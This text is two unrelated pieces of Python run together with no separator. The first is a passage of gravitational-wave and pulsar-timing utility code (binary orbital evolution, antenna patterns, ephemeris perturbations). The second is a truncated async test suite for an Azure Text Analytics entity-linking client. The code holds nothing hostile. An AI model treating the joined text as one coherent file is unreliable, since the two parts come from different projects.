*= const.Tsun # total mass m = (((1 + q) ** 2) / q) ** (3 / 5) * mc dgdt = ( 6 * np.pi * F * (2 * np.pi * F * m) ** (2 / 3) / (1 - e ** 2) * (1 + 0.25 * (2 * np.pi * F * m) ** (2 / 3) / (1 - e ** 2) * (26 - 15 * e ** 2)) ) return dgdt def get_coupled_constecc_eqns(y, t, mc, e0): """ Computes the coupled system of differential equations from Peters (1964) and Barack & Cutler (2004). This is a system of three variables: F: Orbital frequency [Hz] phase0: Orbital phase [rad] :param y: Vector of input parameters [F, e, gamma] :param t: Time [s] :param mc: Chirp mass of binary [Solar Mass] :returns: array of derivatives [dF/dt, dphase/dt] """ F = y[0] dFdt = get_Fdot(F, mc, e0) dphasedt = 2 * np.pi * F return np.array([dFdt, dphasedt]) def get_coupled_ecc_eqns(y, t, mc, q): """ Computes the coupled system of differential equations from Peters (1964) and Barack & Cutler (2004). This is a system of three variables: F: Orbital frequency [Hz] e: Orbital eccentricity gamma: Angle of precession of periastron [rad] phase0: Orbital phase [rad] :param y: Vector of input parameters [F, e, gamma] :param t: Time [s] :param mc: Chirp mass of binary [Solar Mass] :param q: Mass ratio of binary :returns: array of derivatives [dF/dt, de/dt, dgamma/dt, dphase/dt] """ F = y[0] e = y[1] dFdt = get_Fdot(F, mc, e) dedt = get_edot(F, mc, e) dgdt = get_gammadot(F, mc, q, e) dphasedt = 2 * np.pi * F return np.array([dFdt, dedt, dgdt, dphasedt]) def solve_coupled_constecc_solution(F0, e0, phase0, mc, t): """ Compute the solution to the coupled system of equations from from Peters (1964) and Barack & Cutler (2004) at a given time. :param F0: Initial orbital frequency [Hz] :param mc: Chirp mass of binary [Solar Mass] :param t: Time at which to evaluate solution [s] :returns: (F(t), phase(t)) """ y0 = np.array([F0, phase0]) y, infodict = odeint(get_coupled_constecc_eqns, y0, t, args=(mc, e0), full_output=True) if infodict["message"] == "Integration successful.": ret = y else: ret = 0 return ret def solve_coupled_ecc_solution(F0, e0, gamma0, phase0, mc, q, t): """ Compute the solution to the coupled system of equations from from Peters (1964) and Barack & Cutler (2004) at a given time. :param F0: Initial orbital frequency [Hz] :param e0: Initial orbital eccentricity :param gamma0: Initial angle of precession of periastron [rad] :param mc: Chirp mass of binary [Solar Mass] :param q: Mass ratio of binary :param t: Time at which to evaluate solution [s] :returns: (F(t), e(t), gamma(t), phase(t)) """ y0 = np.array([F0, e0, gamma0, phase0]) y, infodict = odeint(get_coupled_ecc_eqns, y0, t, args=(mc, q), full_output=True) if infodict["message"] == "Integration successful.": ret = y else: ret = 0 return ret def get_an(n, mc, dl, h0, F, e): """ Compute a_n from Eq. 22 of Taylor et al. (2016). :param n: Harmonic number :param mc: Chirp mass of binary [Solar Mass] :param dl: Luminosity distance [Mpc] :param F: Orbital frequency of binary [Hz] :param e: Orbital Eccentricity :returns: a_n """ # convert to seconds mc *= const.Tsun dl *= const.Mpc / const.c omega = 2 * np.pi * F if h0 is None: amp = n * mc ** (5 / 3) * omega ** (2 / 3) / dl elif h0 is not None: amp = n * h0 / 2.0 ret = -amp * ( ss.jn(n - 2, n * e) - 2 * e * ss.jn(n - 1, n * e) + (2 / n) * ss.jn(n, n * e) + 2 * e * ss.jn(n + 1, n * e) - ss.jn(n + 2, n * e) ) return ret def get_bn(n, mc, dl, h0, F, e): """ Compute b_n from Eq. 22 of Taylor et al. (2015). :param n: Harmonic number :param mc: Chirp mass of binary [Solar Mass] :param dl: Luminosity distance [Mpc] :param F: Orbital frequency of binary [Hz] :param e: Orbital Eccentricity :returns: b_n """ # convert to seconds mc *= const.Tsun dl *= const.Mpc / const.c omega = 2 * np.pi * F if h0 is None: amp = n * mc ** (5 / 3) * omega ** (2 / 3) / dl elif h0 is not None: amp = n * h0 / 2.0 ret = -amp * np.sqrt(1 - e ** 2) * (ss.jn(n - 2, n * e) - 2 * ss.jn(n, n * e) + ss.jn(n + 2, n * e)) return ret def get_cn(n, mc, dl, h0, F, e): """ Compute c_n from Eq. 22 of Taylor et al. (2016). :param n: Harmonic number :param mc: Chirp mass of binary [Solar Mass] :param dl: Luminosity distance [Mpc] :param F: Orbital frequency of binary [Hz] :param e: Orbital Eccentricity :returns: c_n """ # convert to seconds mc *= const.Tsun dl *= const.Mpc / const.c omega = 2 * np.pi * F if h0 is None: amp = 2 * mc ** (5 / 3) * omega ** (2 / 3) / dl elif h0 is not None: amp = h0 ret = amp * ss.jn(n, n * e) / (n * omega) return ret def calculate_splus_scross(nmax, mc, dl, h0, F, e, t, l0, gamma, gammadot, inc): """ Calculate splus and scross for a CGW summed over all harmonics. This waveform differs slightly from that in Taylor et al (2016) in that it includes the time dependence of the advance of periastron. :param nmax: Total number of harmonics to use :param mc: Chirp mass of binary [Solar Mass] :param dl: Luminosity distance [Mpc] :param F: Orbital frequency of binary [Hz] :param e: Orbital Eccentricity :param t: TOAs [s] :param l0: Initial eccentric anomoly [rad] :param gamma: Angle of periastron advance [rad] :param gammadot: Time derivative of angle of periastron advance [rad/s] :param inc: Inclination angle [rad] :return splus, scross: plus and cross time-domain waveforms for a CGW """ n = np.arange(1, nmax) # time dependent amplitudes an = get_an(n, mc, dl, h0, F, e) bn = get_bn(n, mc, dl, h0, F, e) cn = get_cn(n, mc, dl, h0, F, e) # time dependent terms omega = 2 * np.pi * F gt = gamma + gammadot * t lt = l0 + omega * t # tiled phase phase1 = n * np.tile(lt, (nmax - 1, 1)).T phase2 = np.tile(gt, (nmax - 1, 1)).T sinp1 = np.sin(phase1) cosp1 = np.cos(phase1) sinp2 = np.sin(2 * phase2) cosp2 = np.cos(2 * phase2) sinpp = sinp1 * cosp2 + cosp1 * sinp2 cospp = cosp1 * cosp2 - sinp1 * sinp2 sinpm = sinp1 * cosp2 - cosp1 * sinp2 cospm = cosp1 * cosp2 + sinp1 * sinp2 # intermediate terms sp = sinpm / (n * omega - 2 * gammadot) + sinpp / (n * omega + 2 * gammadot) sm = sinpm / (n * omega - 2 * gammadot) - sinpp / (n * omega + 2 * gammadot) cp = cospm / (n * omega - 2 * gammadot) + cospp / (n * omega + 2 * gammadot) cm = cospm / (n * omega - 2 * gammadot) - cospp / (n * omega + 2 * gammadot) splus_n = -0.5 * (1 + np.cos(inc) ** 2) * (an * sp - bn * sm) + (1 - np.cos(inc) ** 2) * cn * sinp1 scross_n = np.cos(inc) * (an * cm - bn * cp) return np.sum(splus_n, axis=1), np.sum(scross_n, axis=1) def create_gw_antenna_pattern(pos, gwtheta, gwphi): """ Function to create pulsar antenna pattern functions as defined in Ellis, Siemens, and Creighton (2012). :param pos: Unit vector from Earth to pulsar :param gwtheta: GW polar angle in radians :param gwphi: GW azimuthal angle in radians :return: (fplus, fcross, cosMu), where fplus and fcross are the plus and cross antenna pattern functions and cosMu is the cosine of the angle between the pulsar and the GW source. """ # use definition from Sesana et al 2010 and Ellis et al 2012 m = np.array([np.sin(gwphi), -np.cos(gwphi), 0.0]) n = np.array([-np.cos(gwtheta) * np.cos(gwphi), -np.cos(gwtheta) * np.sin(gwphi), np.sin(gwtheta)]) omhat = np.array([-np.sin(gwtheta) * np.cos(gwphi), -np.sin(gwtheta) * np.sin(gwphi), -np.cos(gwtheta)]) fplus = 0.5 * (np.dot(m, pos) ** 2 - np.dot(n, pos) ** 2) / (1 + np.dot(omhat, pos)) fcross = (np.dot(m, pos) * np.dot(n, pos)) / (1 + np.dot(omhat, pos)) cosMu = -np.dot(omhat, pos) return fplus, fcross, cosMu @function def bwm_delay(toas, pos, log10_h=-14.0, cos_gwtheta=0.0, gwphi=0.0, gwpol=0.0, t0=55000, antenna_pattern_fn=None): """ Function that calculates the earth-term gravitational-wave burst-with-memory signal, as described in: Seto et al, van haasteren and Levin, phsirkov et al, Cordes and Jenet. This version uses the F+/Fx polarization modes, as verified with the Continuous Wave and Anisotropy papers. :param toas: Time-of-arrival measurements [s] :param pos: Unit vector from Earth to pulsar :param log10_h: log10 of GW strain :param cos_gwtheta: Cosine of GW polar angle :param gwphi: GW azimuthal polar angle [rad] :param gwpol: GW polarization angle :param t0: Burst central time [day] :param antenna_pattern_fn: User defined function that takes `pos`, `gwtheta`, `gwphi` as arguments and returns (fplus, fcross) :return: the waveform as induced timing residuals (seconds) """ # convert h = 10 ** log10_h gwtheta = np.arccos(cos_gwtheta) t0 *= const.day # antenna patterns if antenna_pattern_fn is None: apc = create_gw_antenna_pattern(pos, gwtheta, gwphi) else: apc = antenna_pattern_fn(pos, gwtheta, gwphi) # grab fplus, fcross fp, fc = apc[0], apc[1] # combined polarization pol = np.cos(2 * gwpol) * fp + np.sin(2 * gwpol) * fc # Return the time-series for the pulsar return pol * h * np.heaviside(toas - t0, 0.5) * (toas - t0) @function def create_quantization_matrix(toas, dt=1, nmin=2): """Create quantization matrix mapping TOAs to observing epochs.""" isort = np.argsort(toas) bucket_ref = [toas[isort[0]]] bucket_ind = [[isort[0]]] for i in isort[1:]: if toas[i] - bucket_ref[-1] < dt: bucket_ind[-1].append(i) else: bucket_ref.append(toas[i]) bucket_ind.append([i]) # find only epochs with more than 1 TOA bucket_ind2 = [ind for ind in bucket_ind if len(ind) >= nmin] U = np.zeros((len(toas), len(bucket_ind2)), "d") for i, l in enumerate(bucket_ind2): U[l, i] = 1 weights = np.ones(U.shape[1]) return U, weights def quant2ind(U): """ Use quantization matrix to return slices of non-zero elements. :param U: quantization matrix :return: list of `slice`s for non-zero elements of U .. note:: This function assumes that the pulsar TOAs were sorted by time. """ inds = [] for cc, col in enumerate(U.T): epinds = np.flatnonzero(col) if epinds[-1] - epinds[0] + 1 != len(epinds): raise ValueError("ERROR: TOAs not sorted properly!") inds.append(slice(epinds[0], epinds[-1] + 1)) return inds def linear_interp_basis(toas, dt=30 * 86400): """Provides a basis for linear interpolation. :param toas: Pulsar TOAs in seconds :param dt: Linear interpolation step size in seconds. :returns: Linear interpolation basis and nodes """ # evenly spaced points x = np.arange(toas.min(), toas.max() + dt, dt) M = np.zeros((len(toas), len(x))) # make linear interpolation basis for ii in range(len(x) - 1): idx = np.logical_and(toas >= x[ii], toas <= x[ii + 1]) M[idx, ii] = (toas[idx] - x[ii + 1]) / (x[ii] - x[ii + 1]) M[idx, ii + 1] = (toas[idx] - x[ii]) / (x[ii + 1] - x[ii]) # only return non-zero columns idx = M.sum(axis=0) != 0 return M[:, idx], x[idx] @function def hd_orf(pos1, pos2): """Hellings & Downs spatial correlation function.""" if np.all(pos1 == pos2): return 1 else: omc2 = (1 - np.dot(pos1, pos2)) / 2 return 1.5 * omc2 * np.log(omc2) - 0.25 * omc2 + 0.5 @function def dipole_orf(pos1, pos2): """Dipole spatial correlation function.""" if np.all(pos1 == pos2): return 1 + 1e-5 else: return np.dot(pos1, pos2) @function def monopole_orf(pos1, pos2): """Monopole spatial correlation function.""" if np.all(pos1 == pos2): return 1.0 + 1e-5 else: return 1.0 @function def anis_orf(pos1, pos2, params, **kwargs): """Anisotropic GWB spatial correlation function.""" anis_basis = kwargs["anis_basis"] psrs_pos = kwargs["psrs_pos"] lmax = kwargs["lmax"] psr1_index = [ii for ii in range(len(psrs_pos)) if np.all(psrs_pos[ii] == pos1)][0] psr2_index = [ii for ii in range(len(psrs_pos)) if np.all(psrs_pos[ii] == pos2)][0] clm = np.zeros((lmax + 1) ** 2) clm[0] = 2.0 * np.sqrt(np.pi) if lmax > 0: clm[1:] = params return sum(clm[ii] * basis for ii, basis in enumerate(anis_basis[: (lmax + 1) ** 2, psr1_index, psr2_index])) @function def unnormed_tm_basis(Mmat): return Mmat, np.ones_like(Mmat.shape[1]) @function def normed_tm_basis(Mmat, norm=None): if norm is None: norm = np.sqrt(np.sum(Mmat ** 2, axis=0)) nmat = Mmat / norm nmat[:, norm == 0] = 0 return nmat, np.ones_like(Mmat.shape[1]) @function def svd_tm_basis(Mmat): u, s, v = np.linalg.svd(Mmat, full_matrices=False) return u, np.ones_like(s) @function def tm_prior(weights): return weights * 1e40 def get_planet_orbital_elements(model="setIII"): """Grab physical ephemeris model files""" dpath = enterprise.__path__[0] + "/datafiles/ephemeris/" return ( np.load(dpath + "/jupiter-" + model + "-mjd.npy"), np.load(dpath + "/jupiter-" + model + "-xyz-svd.npy"), np.load(dpath + "/saturn-" + model + "-xyz-svd.npy"), ) def ecl2eq_vec(x): """ Rotate (n,3) vector time series from ecliptic to equatorial. """ M_ecl = const.M_ecl return np.einsum("jk,ik->ij", M_ecl, x) def eq2ecl_vec(x): """ Rotate (n,3) vector time series from equatorial to ecliptic. """ M_ecl = const.M_ecl return np.einsum("kj,ik->ij", M_ecl, x) def euler_vec(z, y, x, n): """ Return (n,3,3) tensor with each (3,3) block containing an Euler rotation with angles z, y, x. Optionally each of z, y, x can be a vector of length n. """ L = np.zeros((n, 3, 3), "d") cosx, sinx = np.cos(x), np.sin(x) L[:, 0, 0] = 1 L[:, 1, 1] = L[:, 2, 2] = cosx L[:, 1, 2] = -sinx L[:, 2, 1] = sinx N = np.zeros((n, 3, 3), "d") cosy, siny = np.cos(y), np.sin(y) N[:, 0, 0] = N[:, 2, 2] = cosy N[:, 1, 1] = 1 N[:, 0, 2] = siny N[:, 2, 0] = -siny ret = np.einsum("ijk,ikl->ijl", L, N) M = np.zeros((n, 3, 3), "d") cosz, sinz = np.cos(z), np.sin(z) M[:, 0, 0] = M[:, 1, 1] = cosz M[:, 0, 1] = -sinz M[:, 1, 0] = sinz M[:, 2, 2] = 1 ret = np.einsum("ijk,ikl->ijl", ret, M) return ret def ss_framerotate(mjd, planet, x, y, z, dz, offset=None, equatorial=False): """ Rotate planet trajectory given as (n,3) tensor, by ecliptic Euler angles x, y, z, and by z rate dz. The rate has units of rad/year, and is referred to offset 2010/1/1. dates must be given in MJD. """ t_offset = 55197.0 # MJD 2010/01/01 if equatorial: planet = eq2ecl_vec(planet) E = euler_vec(z + dz * (mjd - t_offset) / 365.25, y, x, planet.shape[0]) planet = np.einsum("ijk,ik->ij", E, planet) if offset is not None: planet = np.array(offset) + planet if equatorial: planet = ecl2eq_vec(planet) return planet def dmass(planet, dm_over_Msun): return dm_over_Msun * planet @function def physicalephem_spectrum(sigmas): # note the creative use of the "labels" (the very sigmas, not frequencies) return sigmas ** 2 @function def createfourierdesignmatrix_physicalephem( toas, planetssb, pos_t, frame_drift_rate=1e-9, d_jupiter_mass=1.54976690e-11, d_saturn_mass=8.17306184e-12, d_uranus_mass=5.71923361e-11, d_neptune_mass=7.96103855e-11, jup_orb_elements=0.05, sat_orb_elements=0.5, model="setIII", ): """ Construct physical ephemeris perturbation design matrix and 'frequencies'. Parameters can be excluded by setting the corresponding prior sigma to None :param toas: vector of time series in seconds :param pos: pulsar position as Cartesian vector :param frame_drift_rate: normal sigma for frame drift rate :param d_jupiter_mass: normal sigma for Jupiter mass perturbation :param d_saturn_mass: normal sigma for Saturn mass perturbation :param d_uranus_mass: normal sigma for Uranus mass perturbation :param d_neptune_mass: normal sigma for Neptune mass perturbation :param jup_orb_elements: normal sigma for Jupiter orbital elem. perturb. :param sat_orb_elements: normal sigma for Saturn orbital elem. perturb. :param model: vector basis used by Jupiter and Saturn perturb.; see PhysicalEphemerisSignal, defaults to "setIII" :return: F: Fourier design matrix of shape (len(toas), nvecs) :return: sigmas: Phi sigmas (nvecs, to be passed to physicalephem_spectrum) """ # Jupiter + Saturn orbit definitions that we pass to physical_ephem_delay oa = {} (oa["times"], oa["jup_orbit"], oa["sat_orbit"]) = get_planet_orbital_elements(model) dpar = 1e-5 # may need finessing Fl, Phil = [], [] for parname in [ "frame_drift_rate", "d_jupiter_mass", "d_saturn_mass", "d_uranus_mass", "d_neptune_mass", "jup_orb_elements", "sat_orb_elements", ]: ppar = locals()[parname] if ppar: if parname not in ["jup_orb_elements", "sat_orb_elements"]: # need to normalize? Fl.append(physical_ephem_delay(toas, planetssb, pos_t, **{parname: dpar}) / dpar) Phil.append(ppar) else: for i in range(6): c = np.zeros(6) c[i] = dpar # Fl.append(physical_ephem_delay(toas, planetssb, pos_t, # **{parname: c}, **oa)/dpar) kwarg_dict = {parname: c} kwarg_dict.update(oa) Fl.append(physical_ephem_delay(toas, planetssb, pos_t, **kwarg_dict) / dpar) Phil.append(ppar) return np.array(Fl).T.copy(), np.array(Phil) @function def physical_ephem_delay( toas, planetssb, pos_t, frame_drift_rate=0, d_jupiter_mass=0, d_saturn_mass=0, d_uranus_mass=0, d_neptune_mass=0, jup_orb_elements=np.zeros(6, "d"), sat_orb_elements=np.zeros(6, "d"), times=None, jup_orbit=None, sat_orbit=None, equatorial=True, ): # convert toas to MJD mjd = toas / 86400 # grab planet-to-SSB vectors earth = planetssb[:, 2, :3] jupiter = planetssb[:, 4, :3] saturn = planetssb[:, 5, :3] uranus = planetssb[:, 6, :3] neptune = planetssb[:, 7, :3] # do frame rotation earth = ss_framerotate(mjd, earth, 0.0, 0.0, 0.0, frame_drift_rate, offset=None, equatorial=equatorial) # mass perturbations for planet, dm in [ (jupiter, d_jupiter_mass), (saturn, d_saturn_mass), (uranus, d_uranus_mass), (neptune, d_neptune_mass), ]: earth += dmass(planet, dm) # Jupiter orbit perturbation if np.any(jup_orb_elements): tmp = 0.0009547918983127075 * np.einsum("i,ijk->jk", jup_orb_elements, jup_orbit) earth += np.array([np.interp(mjd, times, tmp[:, aa]) for aa in range(3)]).T # Saturn orbit perturbation if np.any(sat_orb_elements): tmp = 0.00028588567008942334 * np.einsum("i,ijk->jk", sat_orb_elements, sat_orbit) earth += np.array([np.interp(mjd, times, tmp[:, aa]) for aa in range(3)]).T # construct the true geocenter to barycenter roemer tmp_roemer = np.einsum("ij,ij->i", planetssb[:, 2, :3], pos_t) # create the delay delay = tmp_roemer - np.einsum("ij,ij->i", earth, pos_t) return delay
import os import pytest import platform import functools from azure.core.exceptions import HttpResponseError, ClientAuthenticationError from azure.core.credentials import AzureKeyCredential from azure.ai.textanalytics.aio import TextAnalyticsClient from azure.ai.textanalytics import ( VERSION, DetectLanguageInput, TextDocumentInput, TextAnalyticsApiVersion, ) from testcase import TextAnalyticsPreparer from testcase import TextAnalyticsClientPreparer as _TextAnalyticsClientPreparer from devtools_testutils.aio import recorded_by_proxy_async from testcase import TextAnalyticsTest TextAnalyticsClientPreparer = functools.partial(_TextAnalyticsClientPreparer, TextAnalyticsClient) class TestRecognizeLinkedEntities(TextAnalyticsTest): @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_no_single_input(self, client): with pytest.raises(TypeError): response = await client.recognize_linked_entities("hello world") @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_all_successful_passing_dict(self, client): docs = [{"id": "1", "language": "en", "text": "Microsoft was founded by Bill Gates and Paul Allen"}, {"id": "2", "language": "es", "text": "Microsoft fue fundado por Bill Gates y Paul Allen"}] response = await client.recognize_linked_entities(docs, show_stats=True) for doc in response: assert len(doc.entities) == 3 assert doc.id is not None assert doc.statistics is not None for entity in doc.entities: assert entity.name is not None assert entity.language is not None assert entity.data_source_entity_id is not None assert entity.url is not None assert entity.data_source is not None assert entity.matches is not None for match in entity.matches: assert match.offset is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_all_successful_passing_text_document_input(self, client): docs = [ TextDocumentInput(id="1", text="Microsoft was founded by Bill Gates and Paul Allen"), TextDocumentInput(id="2", text="Microsoft fue fundado por Bill Gates y Paul Allen") ] response = await client.recognize_linked_entities(docs) for doc in response: assert len(doc.entities) == 3 for entity in doc.entities: assert entity.name is not None assert entity.language is not None assert entity.data_source_entity_id is not None assert entity.url is not None assert entity.data_source is not None assert entity.matches is not None for match in entity.matches: assert match.offset is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_passing_only_string(self, client): docs = [ "Microsoft was founded by Bill Gates and Paul Allen", "Microsoft fue fundado por Bill Gates y Paul Allen", "" ] response = await client.recognize_linked_entities(docs) assert len(response[0].entities) == 3 assert len(response[1].entities) == 3 assert response[2].is_error @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_input_with_some_errors(self, client): docs = [{"id": "1", "text": ""}, {"id": "2", "language": "es", "text": "Microsoft fue fundado por Bill Gates y Paul Allen"}] response = await client.recognize_linked_entities(docs) assert response[0].is_error assert not response[1].is_error @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_input_with_all_errors(self, client): docs = [{"id": "1", "text": ""}, {"id": "2", "language": "Spanish", "text": "Microsoft fue fundado por Bill Gates y Paul Allen"}] response = await client.recognize_linked_entities(docs) assert response[0].is_error assert response[1].is_error @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_too_many_documents(self, client): docs = ["One", "Two", "Three", "Four", "Five", "Six"] with pytest.raises(HttpResponseError) as excinfo: await client.recognize_linked_entities(docs) assert excinfo.value.status_code == 400 assert excinfo.value.error.code == "InvalidDocumentBatch" assert "Batch request contains too many records" in str(excinfo.value) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_output_same_order_as_input(self, client): docs = [ TextDocumentInput(id="1", text="one"), TextDocumentInput(id="2", text="two"), TextDocumentInput(id="3", text="three"), TextDocumentInput(id="4", text="four"), TextDocumentInput(id="5", text="five") ] response = await client.recognize_linked_entities(docs) for idx, doc in enumerate(response): assert str(idx + 1) == doc.id @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"textanalytics_test_api_key": ""}) @recorded_by_proxy_async async def test_empty_credential_class(self, client): with pytest.raises(ClientAuthenticationError): response = await client.recognize_linked_entities( ["This is written in English."] ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"textanalytics_test_api_key": "xxxxxxxxxxxx"}) @recorded_by_proxy_async async def test_bad_credentials(self, client): with pytest.raises(ClientAuthenticationError): response = await client.recognize_linked_entities( ["This is written in English."] ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_bad_document_input(self, client): docs = "This is the wrong type" with pytest.raises(TypeError): response = await client.recognize_linked_entities(docs) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_mixing_inputs(self, client): docs = [ {"id": "1", "text": "Microsoft was founded by Bill Gates and Paul Allen."}, TextDocumentInput(id="2", text="I did not like the hotel we stayed at. It was too expensive."), "You cannot mix string input with the above inputs" ] with pytest.raises(TypeError): response = await client.recognize_linked_entities(docs) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_out_of_order_ids(self, client): docs = [{"id": "56", "text": ":)"}, {"id": "0", "text": ":("}, {"id": "22", "text": ""}, {"id": "19", "text": ":P"}, {"id": "1", "text": ":D"}] response = await client.recognize_linked_entities(docs) in_order = ["56", "0", "22", "19", "1"] for idx, resp in enumerate(response): assert resp.id == in_order[idx] @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_show_stats_and_model_version(self, client): def callback(response): assert response is not None assert response.model_version assert response.raw_response is not None assert response.statistics.document_count == 5 assert response.statistics.transaction_count == 4 assert response.statistics.valid_document_count == 4 assert response.statistics.erroneous_document_count == 1 docs = [{"id": "56", "text": ":)"}, {"id": "0", "text": ":("}, {"id": "22", "text": ""}, {"id": "19", "text": ":P"}, {"id": "1", "text": ":D"}] response = await client.recognize_linked_entities( docs, show_stats=True, model_version="latest", raw_response_hook=callback ) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_batch_size_over_limit(self, client): docs = ["hello world"] * 1050 with pytest.raises(HttpResponseError): response = await client.recognize_linked_entities(docs) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_whole_batch_language_hint(self, client): def callback(resp): language_str = "\"language\": \"fr\"" language = resp.http_request.body.count(language_str) assert language == 3 docs = [ "This was the best day of my life.", "I did not like the hotel we stayed at. It was too expensive.", "The restaurant was not as good as I hoped." ] response = await client.recognize_linked_entities(docs, language="fr", raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_whole_batch_dont_use_language_hint(self, client): def callback(resp): language_str = "\"language\": \"\"" language = resp.http_request.body.count(language_str) assert language == 3 docs = [ "This was the best day of my life.", "I did not like the hotel we stayed at. It was too expensive.", "The restaurant was not as good as I hoped." ] response = await client.recognize_linked_entities(docs, language="", raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_per_item_dont_use_language_hint(self, client): def callback(resp): language_str = "\"language\": \"\"" language = resp.http_request.body.count(language_str) assert language == 2 language_str = "\"language\": \"en\"" language = resp.http_request.body.count(language_str) assert language == 1 docs = [{"id": "1", "language": "", "text": "I will go to the park."}, {"id": "2", "language": "", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": "The restaurant had really good food."}] response = await client.recognize_linked_entities(docs, raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_whole_batch_language_hint_and_obj_input(self, client): def callback(resp): language_str = "\"language\": \"de\"" language = resp.http_request.body.count(language_str) assert language == 3 docs = [ TextDocumentInput(id="1", text="I should take my cat to the veterinarian."), TextDocumentInput(id="4", text="Este es un document escrito en Español."), TextDocumentInput(id="3", text="猫は幸せ"), ] response = await client.recognize_linked_entities(docs, language="de", raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_whole_batch_language_hint_and_obj_per_item_hints(self, client): def callback(resp): language_str = "\"language\": \"es\"" language = resp.http_request.body.count(language_str) assert language == 2 language_str = "\"language\": \"en\"" language = resp.http_request.body.count(language_str) assert language == 1 docs = [ TextDocumentInput(id="1", text="I should take my cat to the veterinarian.", language="es"), TextDocumentInput(id="2", text="Este es un document escrito en Español.", language="es"), TextDocumentInput(id="3", text="猫は幸せ"), ] response = await client.recognize_linked_entities(docs, language="en", raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_whole_batch_language_hint_and_dict_per_item_hints(self, client): def callback(resp): language_str = "\"language\": \"es\"" language = resp.http_request.body.count(language_str) assert language == 2 language_str = "\"language\": \"en\"" language = resp.http_request.body.count(language_str) assert language == 1 docs = [{"id": "1", "language": "es", "text": "I will go to the park."}, {"id": "2", "language": "es", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": "The restaurant had really good food."}] response = await client.recognize_linked_entities(docs, language="en", raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer(client_kwargs={"default_language": "es"}) @recorded_by_proxy_async async def test_client_passed_default_language_hint(self, client): def callback(resp): language_str = "\"language\": \"es\"" language = resp.http_request.body.count(language_str) assert language == 3 def callback_2(resp): language_str = "\"language\": \"en\"" language = resp.http_request.body.count(language_str) assert language == 3 docs = [{"id": "1", "text": "I will go to the park."}, {"id": "2", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": "The restaurant had really good food."}] response = await client.recognize_linked_entities(docs, raw_response_hook=callback) response = await client.recognize_linked_entities(docs, language="en", raw_response_hook=callback_2) response = await client.recognize_linked_entities(docs, raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_invalid_language_hint_method(self, client): response = await client.recognize_linked_entities( ["This should fail because we're passing in an invalid language hint"], language="notalanguage" ) assert response[0].error.code == 'UnsupportedLanguageCode' @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_invalid_language_hint_docs(self, client): response = await client.recognize_linked_entities( [{"id": "1", "language": "notalanguage", "text": "This should fail because we're passing in an invalid language hint"}] ) assert response[0].error.code == 'UnsupportedLanguageCode' @TextAnalyticsPreparer() @recorded_by_proxy_async async def test_rotate_subscription_key(self, textanalytics_test_endpoint, textanalytics_test_api_key): credential = AzureKeyCredential(textanalytics_test_api_key) client = TextAnalyticsClient(textanalytics_test_endpoint, credential) docs = [{"id": "1", "text": "I will go to the park."}, {"id": "2", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": "The restaurant had really good food."}] response = await client.recognize_linked_entities(docs) assert response is not None credential.update("xxx") # Make authentication fail with pytest.raises(ClientAuthenticationError): response = await client.recognize_linked_entities(docs) credential.update(textanalytics_test_api_key) # Authenticate successfully again response = await client.recognize_linked_entities(docs) assert response is not None @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_user_agent(self, client): def callback(resp): assert "azsdk-python-ai-textanalytics/{} Python/{} ({})".format( VERSION, platform.python_version(), platform.platform()) in \ resp.http_request.headers["User-Agent"] docs = [{"id": "1", "text": "I will go to the park."}, {"id": "2", "text": "I did not like the hotel we stayed at."}, {"id": "3", "text": "The restaurant had really good food."}] response = await client.recognize_linked_entities(docs, raw_response_hook=callback) @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_document_attribute_error_no_result_attribute(self, client): docs = [{"id": "1", "text": ""}] response = await client.recognize_linked_entities(docs) # Attributes on DocumentError assert response[0].is_error assert response[0].id == "1" assert response[0].error is not None # Result attribute not on DocumentError, custom error message try: entities = response[0].entities except AttributeError as custom_error: assert custom_error.args[0] == \ '\'DocumentError\' object has no attribute \'entities\'. ' \ 'The service was unable to process this document:\nDocument Id: 1\nError: ' \ 'InvalidDocument - Document text is empty.\n' @TextAnalyticsPreparer() @TextAnalyticsClientPreparer() @recorded_by_proxy_async async def test_document_attribute_error_nonexistent_attribute(self, client): docs = [{"id": "1", "text": ""}] response = await client.recognize_linked_entities(docs) # Attribute not found on DocumentError or result obj, default behavior/message try: entities = 